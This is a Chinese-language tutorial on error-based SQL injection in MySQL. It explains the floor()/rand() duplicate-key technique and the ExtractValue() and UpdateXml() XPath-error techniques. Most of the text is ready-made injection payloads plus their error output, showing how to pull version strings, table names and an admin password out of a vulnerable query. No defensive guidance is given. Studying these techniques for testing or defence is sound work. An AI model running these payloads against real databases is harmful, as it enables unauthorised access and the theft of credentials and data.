報錯注入是 SQL 注入攻擊中極具實戰價值的一類手法,核心在於利用資料庫報錯機制將敏感數據(如版本號、用戶名、密碼等)直接回顯在錯誤訊息中。本文系統梳理 MySQL 中最常見的三種報錯模式:floor()、ExtractValue() 與 UpdateXml(),並附帶實戰 Payload 與原理剖析。
floor() 觸發主鍵重複錯誤此技術利用 GROUP BY 配合 rand() 與 floor() 產生確定性的重複鍵值,導致 Duplicate entry 錯誤,從而在錯誤訊息中攜帶查詢結果。
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));
假設存在注入點 select * from article where id = 1,構造如下語句:
select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
報錯輸出:
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
可見版本號 5.1.33-community-log 已成功回顯。若需提取管理員帳密,只需替換 version() 位置:
Method1: select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id=1),floor(rand(0)*2))x from information_schema.tables group by x)a); Method2: select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2)));
均會報錯:Duplicate entry 'admin8881' for key 'group_key',從而洩露密碼 admin888。
ExtractValue() XPath 語法錯誤注入ExtractValue() 函數用於從 XML 文檔中提取數據,當 XPath 語法非法時會拋出錯誤,錯誤訊息會包含非法的 XPath 表達式內容。
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));-- ERROR 1105 (HY000): XPATH syntax error: '\admin888'
其中 0x5c 為反斜線 \,構造非法 XPath 導致錯誤,密碼 admin888 直接出現在錯誤訊息中。
UpdateXml() XPath 語法錯誤注入原理與 ExtractValue() 類似,UpdateXml() 在 XPath 解析失敗時同樣會回顯非法表達式。
and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,(select pass from admin limit 1),0x5e24),1)); ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
0x5e24 對應 ^$,作為標識符包裹提取數據,同樣實現報錯回顯。
floor() 需滿足 rand(0) 固定種子條件;ExtractValue/UpdateXml 受限於 XPath 解析長度(通常 32 字元)。